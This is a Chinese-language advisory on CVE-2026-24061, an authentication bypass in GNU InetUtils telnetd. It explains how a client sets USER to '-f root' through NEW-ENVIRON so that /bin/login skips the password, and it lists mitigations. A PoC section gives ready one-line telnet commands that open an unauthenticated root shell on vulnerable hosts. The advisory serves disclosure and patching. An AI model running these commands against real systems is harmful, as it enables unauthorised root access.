CVE-2026-24061 GNU InetUtils telnetd 认证绕过

漏洞概述

项目说明
CVE 编号CVE-2026-24061
漏洞类型认证绕过 / 参数注入(USER 传入 login 被当作参数解析)
影响组件GNU InetUtils telnetd
影响版本1.9.3~2.7(2015 年引入,潜伏约 11 年)
危害等级严重(CVSS 9.8)
攻击向量网络、无需认证、无需用户交互

攻击者在 Telnet 选项协商阶段通过 NEW-ENVIRON(RFC 1572)注入环境变量,将 USER 设为 -f root。telnetd 将该值原样传给 /bin/login,login 将 -f 解析为“已预认证、跳过密码”,从而直接获得 root shell

影响与修复版本

  • 受影响:GNU InetUtils 1.9.3~2.7(含各发行版自带的 telnetd 若基于上述版本)。
  • 已修复:GNU InetUtils 2.8(2026-01-20 发布)。
  • 暴露情况:全球约 80 万 台设备暴露 Telnet(含非标准端口),亚洲约 38 万+;Shodan 等可见 21 万+ 实例,多分布在中国、巴西、加拿大、阿根廷、美国等。漏洞披露后已出现多轮在野利用。

漏洞原理简述

  • telnetd 在协商 NEW-ENVIRON 时接受客户端提供的环境变量(如 USER),并未校验其中是否包含 - 等可被解析为 login 命令行参数的内容。
  • 随后 telnetd 调用 /bin/login 时,将 USER 的值作为用户名参数传入。若客户端传入 USER=-f root,则实际执行等价于:login -f root
  • /bin/login-f 表示“跳过认证,会话已预认证”。因此 login 直接以 root 身份启动 shell,无需密码,实现未认证 root RCE。

POC / 利用方式

前提:目标开放 telnet(默认 23 或其它端口),且为受影响版本的 GNU InetUtils telnetd。

本地执行(将 目标 换为 IP 或 host:port):

USER='-f root' telnet -a 目标

或使用长选项:

USER='-f root' telnet --login 目标

指定端口示例:

USER='-f root' telnet -a 目标 2323

连接成功后即获得** root 权限的 shell**,无需输入密码。

注意:部分发行版或编译选项下,telnet 客户端对 NEW-ENVIRON 的支持或服务端实现可能不同,若本地 telnet 无法复现,可使用公开的 PoC 脚本(如 SafeBreach Labs、GitHub 等发布的利用工具)向目标发送正确的 NEW-ENVIRON 协商与 USER 注入。

加固与缓解

  1. 升级:将 GNU InetUtils 升级至 2.8 或更高版本(并确认系统内 telnetd 来自该包)。
  2. 禁用:无需 Telnet 时直接关闭/卸载 telnetd,改用 SSH
  3. 访问控制:若必须保留服务,则通过防火墙、VPN 或 ACL 将 telnet 仅对可信网段开放,避免暴露在公网。
  4. CISA:已将该漏洞纳入已知被利用清单,建议在 2026-02-16 前完成修复(以 CISA 最新通报为准)。

参考链接

说明:本文档仅用于安全研究与授权测试,请勿用于未授权渗透或违法用途。